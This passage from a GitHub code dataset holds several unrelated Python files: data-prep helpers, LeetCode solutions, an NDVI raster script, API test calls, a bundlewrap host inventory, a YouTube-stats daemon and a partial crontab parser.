types are not\n supported. We check that the input is a dictionary with strings as keys and\n only the following python native data types for the values: str, int,\n float, list. Furthermore we check that the number of samples is consistent\n across all nodes.\n \"\"\"\n if not isinstance(input_object, dict):\n raise TTEstFeatureSelectionError(\n \"Input to the feature extractor must be a dictionary.\")\n if input_object == {}:\n raise TTEstFeatureSelectionError(\n \"Input to the feature extractor cannot be empty.\")\n n_samples = set()\n for key, value in input_object.items():\n if not isinstance(key, str):\n raise TTEstFeatureSelectionError(\n \"The keys of the feature extractor's input dictionary must \"\n \"be python strings.\")\n if not (isinstance(value, np.ndarray)\n and (data_utils.is_modulos_numerical(value.dtype)\n or data_utils.is_modulos_string(value.dtype))):\n raise TTEstFeatureSelectionError(\n \"The type of the values of the feature extractor's input \"\n \"dictionary must be numpy arrays of strings, floats or ints.\")\n n_samples.add(len(value))\n if len(list(n_samples)) != 1:\n raise TTEstFeatureSelectionError(\n \"The number of samples in the feature extractor input must be the \"\n \"same for all nodes.\")\n if list(n_samples)[0] == 0:\n raise TTEstFeatureSelectionError(\n \"The number of samples in the feature extractor input must be at \"\n \"least 1.\")\n\n\ndef get_all_samples_from_generator(\n input_samples: d_obj.DatasetGenerator) -> dict:\n \"\"\"Iterate over all samples of generator and create a dictionary containing\n all nodes and all samples for each node.\n\n Args:\n input_samples (d_obj.DatasetGenerator): A generator of\n dictionaries where the\n keys are the node names and the values are the batched node\n data as lists.\n\n Returns:\n dict: Dictionary containing the batch size with the key \"batch_size\"\n and the data (all samples) with the key \"all_samples\".\n \"\"\"\n # THIS FUNCTION IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY, THE T-TEST FEATURE SELECTION FAMILY AND\n # ImgIdentityCatIntEnc.\n\n # Note that we don't perform checks to raise explicit exceptions in this\n # function because this whole function will be removed in BAS-603 and the\n # checks are performed after this functions call.\n batch_size = 0\n all_samples: DictOfArrays = {}\n for batch in input_samples:\n for key, values in batch.items():\n if key in all_samples:\n all_samples[key] = np.vstack((all_samples[key], values))\n else:\n all_samples[key] = values\n batch_size = len(values)\n return {\"all_samples\": all_samples, \"batch_size\": batch_size}\n\n\ndef get_generator_over_samples(all_samples: DictOfArrays,\n batch_size: int) -> d_obj.DatasetGenerator:\n \"\"\"Return a generator over batches of samples, given all the data.\n\n Args:\n all_samples (DictOfArrays): A dictionary with the node names as keys\n and the node data for all samples as values.\n batch_size (int): Batch size.\n\n Returns:\n Array: Generator over batches of samples.\n \"\"\"\n # THIS FUNCTION IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY, THE T-TEST FEATURE SELECTION FAMILY AND\n # ImgIdentityCatIntEnc.\n n_samples_total = len(list(all_samples.values())[0])\n n_iterations = math.ceil(n_samples_total / batch_size)\n for i in range(n_iterations):\n sample_dict = {}\n for node_name in all_samples.keys():\n sample_dict[node_name] = all_samples[node_name][\n i * batch_size: (i + 1) * batch_size]\n yield sample_dict\n\n\nclass ColumnTransformatorError(Exception):\n \"\"\"Errors for ColumnTransformators.\n \"\"\"\n # THIS FUNCTION IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY AND THE T-TEST FEATURE SELECTION FAMILY.\n pass\n\n\nclass ColumnTransformator(ABC):\n # THIS CLASS IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY AND THE T-TEST FEATURE SELECTION FAMILY.\n\n @abstractmethod\n def train_transformator(\n self, node_data: np.ndarray, metadata: DictOfMetadata) -> None:\n \"\"\"Train transformator.\n\n Args:\n node_data (np.ndarray): Column data.\n metadata (DictOfMetadata): Metadata.\n \"\"\"\n pass\n\n @abstractmethod\n def apply_trained_transformator(self, column: np.ndarray) -> np.ndarray:\n \"\"\"Apply trained transformator.\n\n Args:\n column (np.ndarray): Data to transform.\n\n Returns:\n np.ndarray: Transformed data.\n \"\"\"\n pass\n\n @abstractmethod\n def get_new_node_names(self) -> List:\n \"\"\"Get node names of transformation result.\n\n Returns:\n List: List of strings.\n \"\"\"\n pass\n\n\nclass ColumnTransformatorCategorical(ColumnTransformator):\n # THIS CLASS IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY AND THE T-TEST FEATURE SELECTION FAMILY.\n\n def __init__(\n self,\n node_name: str,\n transformator_dictionary: Dict[str, ec.Encoder],\n transformation_type: ec.CategoryEncoderTypes) -> None:\n \"\"\"Initialize object.\n\n Args:\n node_name (str): Node name of the column.\n transformator_dictionary (Dict[str, ec.Encoder]): Dictionary\n containing encoder to train.\n transformation_type (ec.CategoryEncoderTypes): Encoder type.\n \"\"\"\n self._node_name: str = node_name\n self._transformation_type: ec.CategoryEncoderTypes = \\\n transformation_type\n self._new_dimension: int = -1\n self._transformator_dictionary = transformator_dictionary\n\n def train_transformator(\n self,\n node_data: np.ndarray, metadata: DictOfMetadata) -> None:\n \"\"\"Train transformator.\n\n Args:\n node_data (np.ndarray): Column data.\n metadata (DictOfMetadata): Metadata.\n \"\"\"\n # Get unique values.\n unique_values = np.array(metadata[\n self._node_name].upload_unique_values.get())\n\n encoder = ec.CategoryEncoderPicker[self._transformation_type]()\n encoder.fit(unique_values)\n self._transformator_dictionary[self._node_name] = encoder\n\n def apply_trained_transformator(\n self,\n column: np.ndarray) -> np.ndarray:\n \"\"\"Apply trained transformator.\n\n Args:\n column (np.ndarray): Data to transform.\n\n Returns:\n np.ndarray: Transformed data.\n \"\"\"\n # Make sure the column consists of scalars, i.e. remove nested\n # dimensions.\n colunn_scalars = np.array(column).reshape(-1)\n transformed_column = \\\n self._transformator_dictionary[self._node_name].transform(\n colunn_scalars)\n if len(transformed_column.shape) == 2:\n self._new_dimension = transformed_column.shape[1]\n else:\n self._new_dimension = 0\n return transformed_column\n\n def get_new_node_names(self) -> List:\n \"\"\"Get node names of transformation result.\n\n Returns:\n List: List of strings.\n \"\"\"\n if self._new_dimension == 0:\n return [self._node_name]\n elif self._new_dimension > 0:\n return [self._node_name + \"_{}\".format(i) for i in\n range(self._new_dimension)]\n else:\n raise ColumnTransformatorError(\n \"ColumnTransformator has not been applied yet!\")\n\n\nclass ColumnTransformatorNumerical(ColumnTransformator):\n # THIS CLASS IS A COPY PASTE AND OCCURS IN ALL THE HELPERS OF THE TABLE\n # PREP FAMILY AND THE T-TEST FEATURE SELECTION FAMILY.\n\n def __init__(\n self,\n node_name: str,\n transformator_dictionary: Dict[str, sn.StandardScaler],\n transformation_type: sn.NumberScalingTypes) -> None:\n \"\"\"Initialize object.\n\n Args:\n node_name (str): Node name of the column.\n transformator_dictionary: Dict[str, sn.StandardScaler]: Dictionary\n containing scaler object to train.\n transformation_type (ec.CategoryEncoderTypes): Encoder type.\n \"\"\"\n self._node_name: str = node_name\n self._transformation_type: sn.NumberScalingTypes = \\\n transformation_type\n self._transformator_dictionary = transformator_dictionary\n\n def train_transformator_online(\n self,\n node_data: np.ndarray, metadata: DictOfMetadata) -> None:\n \"\"\"Train transformator in batches. (successively updating scaler\n weights).\n\n Args:\n node_data (np.ndarray): Column data.\n node_name (str): Node name.\n metadata (DictOfMetadata): Metadata.\n \"\"\"\n if self._node_name not in self._transformator_dictionary:\n scaler = sn.NumberScalingPicker[self._transformation_type]()\n self._transformator_dictionary[self._node_name] = scaler\n self._transformator_dictionary[self._node_name].partial_fit(node_data)\n\n def train_transformator(\n self,\n node_data: np.ndarray, metadata: DictOfMetadata) -> None:\n \"\"\"Train transformator in one run.\n\n Args:\n node_data (np.ndarray): Column data.\n metadata (DictOfMetadata): Metadata.\n \"\"\"\n if self._node_name not in self._transformator_dictionary:\n scaler = sn.NumberScalingPicker[self._transformation_type]()\n self._transformator_dictionary[self._node_name] = scaler\n self._transformator_dictionary[self._node_name].fit(node_data)\n\n def apply_trained_transformator(self, column: np.ndarray) -> np.ndarray:\n \"\"\"Apply trained transformator.\n\n Args:\n column (np.ndarray): Data to transform.\n\n Returns:\n np.ndarray: Transformed data.\n \"\"\"\n return self._transformator_dictionary[self._node_name].transform(\n column)\n\n def get_new_node_names(self) -> List:\n \"\"\"Get node names of transformation result.\n\n Returns:\n List: List of strings.\n \"\"\"\n return [self._node_name]\n","repo_name":"qmao520/phys704","sub_path":"modulos_ai/RF_with_scaling/src/modules/feature_extractor/common_code/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":26830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"36794572864","text":"__author__ = 'stephenosullivan'\n\nimport string\nfrom collections import deque\nimport copy\n\n\nclass Solution(object):\n def ladderLength(self, beginWord, endWord, wordList):\n \"\"\"\n :type beginWord: str\n :type endWord: str\n :type wordList: Set[str]\n :rtype: int\n \"\"\"\n\n self.visited = set()\n self.links = {(-1, beginWord): False, (1, endWord): False}\n while True:\n matched = self.nextLayer(wordList)\n if matched:\n front = []\n word = (-1, matched)\n while True:\n if word in self.links and self.links[word] is not False:\n front.append(word[1])\n word = self.links[word]\n else:\n front.append(word[1])\n break\n\n back = []\n word = (1, matched)\n while True:\n if word in self.links and self.links[word] is not False:\n back.append(word[1])\n word = self.links[word]\n else:\n back.append(word[1])\n break\n\n return front[:0:-1] + back\n\n def nextLayer(self, wordList):\n source = copy.deepcopy(self.links)\n for side, currentWord in source.keys():\n for i, replacement in enumerate(currentWord):\n for letter in string.ascii_lowercase:\n if letter != replacement:\n newWord = currentWord[:i] + letter + currentWord[i + 1:]\n\n if newWord in wordList:\n print(newWord, side, self.visited, self.links)\n if (side, newWord) not in self.visited:\n self.links[(side, newWord)] = (side, currentWord)\n if (-side, newWord) in self.links:\n return newWord\n\n self.visited.add((side, newWord))\n\n def ladderLength2(self, beginWord, endWord, wordList):\n \"\"\"\n :type beginWord: str\n :type endWord: str\n :type wordList: Set[str]\n :rtype: int\n \"\"\"\n queue = deque()\n queue.append([beginWord])\n while queue:\n path = queue.popleft()\n currentWord = path[-1]\n for i, replacement in enumerate(currentWord):\n for letter in string.ascii_lowercase:\n newWord = currentWord[:i] + letter + currentWord[i + 1:]\n if newWord == endWord:\n return len(path) + 1\n if newWord in wordList and newWord not in path:\n print(newWord)\n if endWord[i] == letter:\n queue.appendleft(path + [newWord])\n else:\n queue.append(path + [newWord])\n\n\nif __name__ == '__main__':\n sol = Solution()\n wordList = [\"hot\", \"cog\", \"dot\", \"dog\", \"hit\", \"lot\", \"log\"]\n print(\"Answer: \", sol.ladderLength('hit', 'cog', wordList))\n","repo_name":"stephenosullivan/LT-Code","sub_path":"word_ladder.py","file_name":"word_ladder.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"13487605751","text":"#!/usr/bin/env python3\nimport sys\nimport numpy as np\nimport os\nfrom osgeo import gdal\n\n# Read command-line arguments\n# Usage: ndvi.py \ninput_dir = sys.argv[1]\n\nif len(sys.argv) >= 3:\n output_dir = sys.argv[2]\nelse:\n output_dir = os.getcwd()\n\nbands = {'B04.jp2': None, 'B08.jp2': None}\n\nfor root, dirs, files in os.walk(input_dir):\n for f in files:\n for b in bands:\n if b == f[-7:]:\n bands[b] = '{0}/{1}'.format(root, f)\n\nred_file = bands['B04.jp2'] # red band\nnir_file = bands['B08.jp2'] # NIR band\n\nprint(\"RED: {0}\".format(red_file))\nprint(\"NIR: {0}\".format(nir_file))\n\nif not red_file or not nir_file:\n sys.exit(1)\n\nred_data = gdal.Open(red_file)\nnir_data = gdal.Open(nir_file)\n\n# Read bands as float arrays\nred = red_data.ReadAsArray().astype(np.float)\nnir = nir_data.ReadAsArray().astype(np.float)\n \n# Calculate NDVI\nnp.seterr(divide='ignore', invalid='ignore')\nndvi = (nir - red) / (nir + red)\n \n# Create output filename based on input name\noutfile_name = \"{0}/{1}_NDVI.tif\".format(output_dir, os.path.basename(red_file)[:22])\n \nwidth = ndvi.shape[0]\nheight = ndvi.shape[1]\n \n# Set up output GeoTIFF\ndriver = gdal.GetDriverByName('GTiff')\n \n# Create driver using output filename, x and y pixels, # of bands, and datatype\nndvi_data = driver.Create(outfile_name, width, height, 1, gdal.GDT_Float32)\n \nndvi_data.GetRasterBand(1).WriteArray(ndvi)\n\n# Obtain coordinate reference system information\ngeo_transform = red_data.GetGeoTransform()\nprojection = red_data.GetProjection()\n \n# Set GeoTransform parameters and projection on the output file\nndvi_data.SetGeoTransform(geo_transform) \nndvi_data.SetProjection(projection)\nndvi_data.FlushCache()\nndvi_data = None\n","repo_name":"esa-cdab/cdab-testsuite","sub_path":"Use Cases/Scenario 1 - NDVI Mapping/ndvi.py","file_name":"ndvi.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"86"} +{"seq_id":"73191477085","text":"'''\r\nGiven an arbitrary ransom note string and another string containing letters from all the magazines, write a function that will return true if the ransom note can be constructed from the magazines ; otherwise, it will return false.\r\n\r\nEach letter in the magazine string can only be used once in your ransom note.\r\n\r\nNote:\r\nYou may assume that both strings contain only lowercase letters.\r\n\r\ncanConstruct(\"a\", \"b\") -> false\r\ncanConstruct(\"aa\", \"ab\") -> false\r\ncanConstruct(\"aa\", \"aab\") -> true\r\n'''\r\n#\r\n# tag: string\r\n#\r\n\r\nclass Solution(object):\r\n def canConstruct(self, ransomNote, magazine):\r\n \"\"\"\r\n :type ransomNote: str\r\n :type magazine: str\r\n :rtype: bool\r\n \"\"\"\r\n charRansom = set(ransomNote)\r\n charMagazine = set(magazine)\r\n \r\n for elem in charRansom:\r\n if not (elem in charMagazine and ransomNote.count(elem) <= magazine.count(elem)):\r\n return False\r\n \r\n return True","repo_name":"cs1dada/leetcode-python","sub_path":"383-Ransom-Note.py","file_name":"383-Ransom-Note.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"26026314454","text":"import json\nimport requests\n\n\nclass DebugTest(object):\n def __init__(self):\n self.token = \"ZDQ3MzVlM2EyNjVlMTZlZWUwM2Y1OTcxOGI5YjVkMDMwMTljMDdkOGI2YzUxZjkwZGEzYTY2NmVlYzEzYWIzNTM1YTVlNzk4MzRhMTg0OTY4ODAwZjcyZDllYTQyZTdhNTNjMzIwMWM5ZDQ4ZGY1M2RiYmFhYjFkZWRkMmRiNGItMg==\"\n\n def debug_create(self):\n # 创建debug\n # image_id: file_path\n header = {\n \"token\": self.token,\n }\n data = {\n \"debug_name\": \"debug-test\",\n \"image_id\": 4,\n \"dataset\": \"/var/nfs/general/data/305-car.tar\",\n \"code\": \"/var/nfs/general/data/305-car.tar\",\n \"description\": \"airstudio\",\n \"params\": {\n \"resource_info\": json.dumps({\n \"cpu_count\": 4,\n \"mem_size\": 4 * 1024 * 1024 * 1024,\n \"gpu_dict\": json.dumps({\"GeForce RTX 2080 Ti\": 1}),\n \"shm_size\": '4Gi'\n }),\n\n 'schedule_type': \"\",\n\n \"master_replicas\": 1,\n \"worker_replicas\": 1,\n \"restart_policy\": \"Never\",}\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_create/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n def debug_delete(self):\n # 删除debug\n header = {\n \"token\": self.token,\n }\n data = {\n \"debug_id\": 1,\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_delete/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n def debug_start(self):\n # 启动notebook\n header = {\n \"token\": self.token,\n }\n data = {\n \"debug_id\": 1,\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_start/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n def debug_pause(self):\n # 暂停notebook\n header = {\n \"token\": self.token,\n }\n data = {\n \"debug_id\": 1,\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_pause/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n def debug_stop(self):\n # 停止debug\n \"\"\"\n token: str 用户验证信息\n notebook_id: int NotebookID\n\n :return: bool 成功标志\n \"\"\"\n header = {\n \"token\": self.token,\n\n }\n data = {\n \"debug_id\": 1,\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_stop/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n def debug_query(self):\n \"\"\"\n 根据 user_id 查询 template 信息\n token: str 用户验证信息\n\n :return: 查询到的template信息\n \"\"\"\n header = {\n \"token\": self.token,\n }\n data = {\n \"page_size\": 1,\n \"page_num\": 1,\n \"grep_condition\": {\n # \"template_id\": 3,\n # \"framework\": \"Tensorflow\",\n # \"name_search\": \"模板\",\n # \"label_search\": \"分类\"\n }\n }\n url = 'http://0.0.0.0:5000/airserver-2.0/debug_query/'\n\n r = requests.post(url, data=json.dumps(data), headers=header)\n print(r.json())\n\n\nif __name__ == \"__main__\":\n t = DebugTest()\n # t.notebook_pause()\n t.debug_create()\n # t.debug_pause()\n # t.debug_start()\n # t.debug_stop()\n # t.debug_query()\n # t.debug_delete()\n","repo_name":"xiaoyuan1996/AirPipeline","sub_path":"code/test/debug_test.py","file_name":"debug_test.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"86"} +{"seq_id":"15449514270","text":"nodes = {\n 'katespi1': {\n 'hostname': 'ubuntu@100.89.32.19',\n 'groups': {'katespi', 'k3s'},\n 'bundles': {'k3sconfig'},\n 'metadata': {\n 'k3s': {\n 'server': True,\n },\n 'k3sconfig': {\n 'email': 'zellyn@gmail.com',\n },\n },\n },\n 'katespi2': {\n 'hostname': 'ubuntu@100.113.249.70',\n 'groups': {'katespi', 'k3s'},\n },\n 'katespi3': {\n 'hostname': 'ubuntu@100.88.221.38',\n 'groups': {'katespi', 'k3s'},\n },\n 'katespi4': {\n 'hostname': 'ubuntu@100.109.4.116',\n 'groups': {'katespi', 'k3s'},\n },\n 'pizero': {\n 'hostname': 'pi@100.78.213.45',\n 'groups': {'raspi'},\n },\n 'casepi': {\n 'hostname': 'ubuntu@100.112.123.101',\n 'groups': {'ubuntu'},\n 'bundles': [\n 'ddclient',\n ],\n 'metadata': {\n 'apt': {\n 'repos': {\n 'tailscale': [\n '# Managed by bundlewrap',\n '# Tailscale packages for ubuntu impish',\n 'deb https://pkgs.tailscale.com/stable/ubuntu impish main',\n ],\n },\n },\n },\n },\n 'lenovo': {\n 'hostname': 'zellyn@lenovo',\n 'groups': {'ubuntu'},\n 'bundles': [\n 'ddclient',\n ],\n 'metadata': {\n 'apt': {\n 'repos': {\n 'tailscale': [\n '# Managed by bundlewrap',\n '# Tailscale packages for ubuntu focal',\n 'deb [signed-by=/usr/share/keyrings/tailscale-archive-keyring.gpg] https://pkgs.tailscale.com/stable/ubuntu focal main'\n ],\n },\n },\n 'ddclient': {\n 'login': 'zellyn@gmail.com',\n 'protocol': 'cloudflare',\n 'password': 'encrypt$gAAAAABiJ2G5Lis8zzE3aY19jk0A6ys64ZAIbFVYXgaIV7e848QeZ0nPlryFV2Vmzwqt4hdCaLznKyIwJvyD-AZoTLeWEgfX13smrQgWOA-5K7jlvhaphi5TP--CGbhTU4GDGSLQZmGC',\n 'zone': 'greenseptember.com',\n 'records': 'minecraft.greenseptember.com',\n },\n },\n },\n}\n","repo_name":"zellyn/bundlepi","sub_path":"nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"86"} +{"seq_id":"31121403098","text":"import importlib.util\nimport os\n\ndef vyLoadModuleFromFilePath(filePath, moduleName=None):\n if moduleName == None:\n replacements = [\n ('/', '.'),\n ('\\\\', '.'),\n ('-', '_'),\n (' ', '_'),\n ]\n filePathSansExt = os.path.splitext(filePath)[0]\n for issue, replacement in replacements:\n filePathSansExt = filePathSansExt.replace(issue, replacement)\n moduleName = filePathSansExt\n\n spec = importlib.util.spec_from_file_location(moduleName, filePath)\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n return module\n","repo_name":"niteshb/common.python.vyImport","sub_path":"vyImport.py","file_name":"vyImport.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"23122330392","text":"#!/usr/bin/python\n# -*- encoding: utf-8 -*-\n\n#script to track your video information - rating, views, likes and dislikes\n#remember to use correctly\n#no SZARP warranty\n\n#uses pafy python libary to simplify youtube requests\n#details : https://github.com/mps-youtube/pafy\n#requires pafy and youtube-dl to be installed\n#easiest way is to do this with pip\n#fill extra:url in config/params.xml to gather data with this script\n\nimport pafy\n\nimport sys # exit()\nimport time # sleep()\nimport logging # logging (important!)\nsys.path.append(\"/opt/szarp/lib/python\") #\nfrom pydaemontimer import ReTimer \n\nimport psutil\nfrom lxml import etree\nfrom logging.handlers import SysLogHandler #\n\nBASE_PREFIX = \"\"\n\nclass YTReader:\n\t#parsing configuration xml to get video url\n\tdef __init__(self):\n\t\tconf_str = ipc.get_conf_str()\n\t\tself.xml_root = etree.fromstring(conf_str)\n\t\tnamespaces = self.xml_root.nsmap\n\t\troot_namespace = namespaces[None]\n\t\textra_namespace = namespaces[\"extra\"]\n\t\tself.rn = root_namespace\n\t\tself.en = extra_namespace\n\t\tquery = etree.ETXPath(\"{%s}device/{%s}unit/@{%s}url\" % (self.rn, self.rn, self.en))\n\t\tself.URL = str(query(self.xml_root)[0])\n\t\tself.URL2 = str(query(self.xml_root)[1])\n\n\tdef update_values(self):\n\t\ttry:\n\t\t\tvideo = pafy.new( self.URL )\n\t\t\tipc.set_read(0, video.viewcount)\n\t\t\tipc.set_read(1, video.likes)\n\t\t\tipc.set_read(2, video.dislikes)\n\t\t\tipc.set_read(3, int(10 * video.rating) )\n\t\t\tvideo2 = pafy.new( self.URL2 )\n\t\t\tipc.set_read(4, video2.viewcount)\n\t\t\tipc.set_read(5, video2.likes)\n\t\t\tipc.set_read(6, video2.dislikes)\n\t\t\tipc.set_read(7, int(10 * video2.rating) )\n\n\t\texcept Exception as err:\n\t\t\tlogger.error(\"failed to fetch data, %s\", str(err).splitlines()[0])\n\t\t\tipc.set_no_data(0)\n\t\t\tipc.set_no_data(1)\n\t\t\tipc.set_no_data(2)\n\t\t\tipc.set_no_data(3)\n\t\t\tipc.set_no_data(4)\n\t\t\tipc.set_no_data(5)\n\t\t\tipc.set_no_data(6)\n\t\t\tipc.set_no_data(7)\n\n\t\tipc.go_parcook()\n\ndef main(argv=None):\n\tglobal logger\n\tlogger = logging.getLogger('pdmn_youtube.py')\n\tlogger.setLevel(logging.DEBUG)\n\thandler = logging.handlers.SysLogHandler(address='/dev/log', facility=SysLogHandler.LOG_DAEMON)\n\thandler.setLevel(logging.WARNING)\n\tformatter = logging.Formatter('%(filename)s: [%(levelname)s] %(message)s')\n\thandler.setFormatter(formatter)\n\tlogger.addHandler(handler)\n\n\tif 'ipc' not in globals():\n\t\tglobal ipc\n\t\tsys.path.append('/opt/szarp/lib/python')\n\t\tfrom test_ipc import TestIPC\n\t\tipc = TestIPC(\"%s\"%BASE_PREFIX, \"/opt/szarp/%s/pdmn_youtube.py\"%BASE_PREFIX)\n\n\tex = YTReader()\n\ttime.sleep(10)\n\n\tReTimer(3600, ex.update_values).go()\n\n\n# end of main()\n\nif __name__ == \"__main__\":\n\tsys.exit(main())\n","repo_name":"Newterm/szarp","sub_path":"example-base/pdmn_youtube.py","file_name":"pdmn_youtube.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"86"} +{"seq_id":"71092182365","text":"MONTH_OFFSET = {'jan': '1', 'feb': '2', 'mar': '3', 'apr': '4', 'may': '5', 'jun': '6',\n 'jul': '7', 'aug': '8', 'sep': '9', 'oct': '10', 'nov': '11', 'dec': '12'}\nWEEK_OFFSET = {'sun': '0', 'mon': '1', 'tue': '2', 'wed': '3', 'thu': '4', 'fri': '5', 'sat': '6'}\n\n\nclass Parser:\n \"\"\"\n This class is just a library of \"class\" methods, used to parse crontab strings\n \"\"\"\n\n def decode_token(self, token, offsets):\n \"\"\"\n return offsets[token], or token if not found\n offset keys are **lowercase**\n \"\"\"\n try:\n return offsets[token]\n except KeyError:\n return token\n\n def split_tokens(self, s):\n \"\"\"\n identify ranges in pattern\n given \"1,2-5/3,jul,10-goofy/6\" return two lists, the singletons ['1', 'jul']\n and the ranges [['10', 'goofy', 1], ['2', '5', 3]]\n * and @ not supported\n :return: two lists, single items and ranges\n \"\"\"\n # here '1,2-5/3,jul,10-goofy'\n ranges = s.split(\",\")\n # here ranges == ['1', '2-5/3', 'jul', '10-goofy']\n ranges = [x.split(\"/\") for x in ranges]\n # here ranges == [['1'], ['2-5', '3'], ['jul'], ['10-goofy']]\n ranges = [[x[0].split(\"-\")] + x[1:] for x in ranges]\n # here ranges == [[['1']], [['2', '5'], '3'], [['jul']], [['10', 'goofy']]]\n if max([len(x) for x in ranges]) > 2:\n raise ValueError(\"Wrong format '%s' - a string x/y/z is meaningless\" % s)\n if max([len(x) for z in ranges for x in z]) > 2:\n raise ValueError(\"Wrong format '%s' - a string x-y-z is meaningless\" % s)\n if [x for x in ranges if len(x) == 2 and len(x[0]) == 1]:\n raise ValueError(\"Wrong format '%s' - a string y/z is meaningless, should be x-y/z\" % s)\n singletons = [w for x in ranges for z in x for w in z if len(z) == 1 and len(x) == 1]\n # here singletons == ['1', 'jul']\n ranges_no_step = [x[0] + [1] for x in ranges if len(x) == 1 and len(x[0]) == 2]\n # here ranges_no_step == [['10', 'goofy', 1]]\n try:\n ranges_with_step = [x[0] + [int(x[1])] for x in ranges if len(x) == 2 and len(x[0]) == 2]\n except ValueError:\n raise ValueError(\"Wrong format '%s' - expecting an integer after '/'\" % s)\n # here ranges_with_step == [['2', '5', 3]]\n return (singletons, ranges_no_step + ranges_with_step)\n\n def _parse_common(self, s, minval, maxval, offsets={}, callback=None):\n \"\"\"\n Generate a set of integers, corresponding to \"allowed values\".\n Work for minute, hours, weeks, month, ad days of week, because they\n are all \"similar\".\n Does not work for '*'\n :param minval, maxval:\n es. 0-59 for minutes, 1-12 for month, ...\n :param offsets:\n a dict mapping names (es. \"mar\") to their offsets (es. 2).\n :param minval:\n es. 0 for hours and minutes, 1 for days and months\n :param callback:\n a 2-ary function that pre-elaborates singletons and ranges\n \"\"\"\n if s.startswith(\"*/\"): # every tot minutes\n try:\n step = int(s[2:])\n except ValueError:\n raise ValueError(\"Wrong format '%s' - expecting an integer after '*/'\" % s)\n return set(range(minval, maxval + 1, step))\n else: # at given minutes\n # here s == '1,2-5/3,jul,10-nov'\n (singletons, ranges) = self.split_tokens(s)\n # here singletons == ['1', 'jul'], ranges == [['2', '5', 3], ['10', 'nov', 1]]\n singletons = [self.decode_token(x, offsets) for x in singletons]\n ranges = [[self.decode_token(rng[0], offsets), self.decode_token(rng[1], offsets), rng[2]]\n for rng in ranges]\n if callback is not None:\n (singletons, ranges) = callback(singletons, ranges)\n singletons = list(map(int, singletons)) # may raise ValueError\n ranges = [list(map(int, rng)) for rng in ranges] # may raise ValueError\n # here singletons == [1, 7], ranges == [[2, 5, 3], [10, 11, 1]]\n ranges = [range(rng[0], rng[1] + 1, rng[2]) for rng in ranges if (rng[0] <= rng[1])] + \\\n [range(rng[0], maxval + 1, rng[2]) for rng in ranges if rng[0] > rng[1]] + \\\n [range(minval, rng[1] + 1, rng[2]) for rng in ranges if rng[0] > rng[1]]\n # here ranges == [range(2, 5, 3), range(10, 11, 1]]\n flatlist = singletons + [z for rng in ranges for z in rng]\n # here flatlist == [1, 7, 2, 3, 4, 5, 10, 11]\n return set(flatlist)\n\n def parse_minute(self, s):\n \"\"\"\n :return: [run_on_every_minute: boolean,\n allowed_minutes: list or None]\n \"\"\"\n if s == '*':\n return [True, None]\n return [False, self._parse_common(s, 0, 59)]\n\n def parse_hour(self, s):\n \"\"\"\n :return: [run_on_every_hour: boolean,\n allowed_hours: list or None]\n \"\"\"\n if s == '*':\n return [True, None]\n return [False, self._parse_common(s, 0, 23)]\n\n def parse_day_in_month(self, s):\n \"\"\"\n :return: [run_on_every_day: boolean,\n allowed_days: list or None,\n run_on_last_day_of_month: boolean,\n allowed_weekdays: list or None]\n \"\"\"\n if s == '*':\n return [True, None, False, None]\n\n def ignore_w(singletons, ranges):\n if [x for x in ranges for z in x if 'w' in x]:\n raise ValueError(\"Cannot use W pattern inside ranges\")\n return ([x for x in singletons if x[-1] != 'w'], ranges)\n\n def only_w(singletons, ranges):\n return ([x[:-1] for x in singletons if x[-1] == 'w'], [])\n\n dom = self._parse_common(s, 1, 31, {'l': '-1'}, ignore_w)\n wdom = self._parse_common(s, 1, 31, {}, only_w)\n\n return [False, dom, -1 in dom, wdom]\n\n def parse_month(self, s):\n \"\"\"\n :return: [run_on_every_month: boolean,\n allowed_months: list or None]\n \"\"\"\n if s == '*':\n return [True, None]\n return [False, self._parse_common(s, 1, 13, MONTH_OFFSET)]\n\n def parse_day_in_week(self, s):\n \"\"\"\n :return: [run_on_every_weekday: boolean,\n allowed_weekdays: list or None,\n allowed_days_in_last_weeks_of_month: list or None,\n allowed_days_in_specific_weeks_of_month: dict ]\n \"\"\"\n if s == '*':\n return [True, None, None, None]\n\n def only_plain(singletons, ranges):\n if [x for x in ranges for z in x if ('l' in x or '#' in x)]:\n raise ValueError(\"Cannot use L or # pattern inside ranges\")\n return ([x for x in singletons if not ('l' in x or '#' in x)], ranges)\n\n def only_l(singletons, ranges):\n return ([x[:-1] for x in singletons if x[-1] == 